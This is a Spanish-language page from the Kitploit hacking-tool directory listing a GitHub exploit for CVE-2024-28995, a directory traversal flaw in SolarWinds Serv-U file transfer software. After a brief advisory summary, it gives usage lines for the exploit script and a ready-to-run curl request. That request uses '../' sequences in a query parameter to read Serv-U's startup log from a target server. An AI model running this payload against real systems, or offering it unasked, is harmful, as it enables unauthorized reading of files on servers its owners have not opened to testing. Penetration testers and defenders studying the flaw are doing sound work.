Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-28995 — Exploit para CVE-2024-28995 | Kitploit
Herramientas/GitHubGitHub/0xc4t/cve-2024-28995
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHub0xc4t/cve-2024-28995

CVE-2024-28995

Exploit para CVE-2024-28995

Ver Repositorio
21hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit Para CVE-2024-28995

El 5 de junio de 2024, SolarWinds publicó un aviso para CVE-2024-28995, una vulnerabilidad de recorrido de directorios de alta gravedad que afecta a su solución de transferencia de archivos Serv-U. La vulnerabilidad fue descubierta por el investigador Hussein Daher de Web Immunify.

Usando el exploit

root@kitploit:~
python3 CVE-2024-28995.py -t http://example.com/ -f somefile

Usando Curl

root@kitploit:~
curl -i -k --path-as-is "http://<target>/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt"

Referencia:

  • https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
  • https://nvd.nist.gov/vuln/detail/CVE-2024-28995
Descargar herramienta